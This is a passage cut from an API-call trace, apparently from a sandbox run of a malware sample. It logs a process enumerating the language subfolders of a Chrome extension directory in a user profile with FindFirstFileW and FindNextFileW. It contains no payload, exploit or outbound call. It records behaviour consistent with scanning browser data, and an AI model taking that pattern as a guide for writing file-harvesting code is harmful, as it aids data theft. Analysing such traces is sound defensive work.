ftLastAccessTime.dwLowDateTime=0x85e6fa20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e6fa20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639788 [0277.337] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e6fa20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e6fa20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.337] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e71190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0277.337] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e71190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0277.337] FindClose (in: hFindFile=0x639788 | out: hFindFile=0x639788) returned 1 [0277.337] GetProcessHeap () returned 0x550000 [0277.337] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0277.337] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e6fa20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e6fa20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fil", cAlternateFileName="")) returned 1 [0277.337] GetProcessHeap () returned 0x550000 [0277.337] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0277.337] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e6fa20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e6fa20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639788 [0277.337] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e6fa20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e6fa20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.337] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e71190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0277.337] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e71190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0277.338] FindClose (in: hFindFile=0x639788 | out: hFindFile=0x639788) returned 1 [0277.338] GetProcessHeap () returned 0x550000 [0277.338] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0277.338] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e6fa20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e6fa20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1 [0277.338] GetProcessHeap () returned 0x550000 [0277.338] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0277.338] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e6fa20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e6fa20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639788 [0277.343] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e6fa20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e6fa20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.343] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e71190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0277.343] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e71190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0277.343] FindClose (in: hFindFile=0x639788 | out: hFindFile=0x639788) returned 1 [0277.343] GetProcessHeap () returned 0x550000 [0277.343] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0277.343] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e6fa20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e6fa20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr_CA", cAlternateFileName="")) returned 1 [0277.344] GetProcessHeap () returned 0x550000 [0277.344] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0277.344] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e6fa20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e6fa20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0277.346] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e6fa20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e6fa20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.346] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e71190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0277.346] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e71190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0277.347] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0277.347] GetProcessHeap () returned 0x550000 [0277.347] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0277.347] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e95b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e95b80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gl", cAlternateFileName="")) returned 1 [0277.347] GetProcessHeap () returned 0x550000 [0277.347] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0277.347] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e95b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e95b80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0277.347] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e95b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e95b80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.347] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e95b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0xac, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0277.347] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e95b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0xac, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0277.347] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0277.347] GetProcessHeap () returned 0x550000 [0277.347] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0277.347] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e95b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e95b80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gu", cAlternateFileName="")) returned 1 [0277.347] GetProcessHeap () returned 0x550000 [0277.347] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0277.347] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e95b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e95b80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0277.352] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e95b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e95b80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.352] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e95b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x11e, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0277.353] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e95b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x11e, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0277.353] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0277.353] GetProcessHeap () returned 0x550000 [0277.353] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0277.353] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e95b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e95b80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1 [0277.353] GetProcessHeap () returned 0x550000 [0277.353] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0277.353] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e95b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e95b80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0277.353] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e95b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e95b80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.353] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e95b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0277.353] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e95b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0277.353] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0277.353] GetProcessHeap () returned 0x550000 [0277.353] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0277.353] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e95b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e95b80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr", cAlternateFileName="")) returned 1 [0277.354] GetProcessHeap () returned 0x550000 [0277.354] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0277.354] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e95b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e95b80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0277.355] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e95b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e95b80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.355] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e95b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0277.355] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e95b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0277.355] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0277.355] GetProcessHeap () returned 0x550000 [0277.355] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0277.355] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e95b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e95b80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, 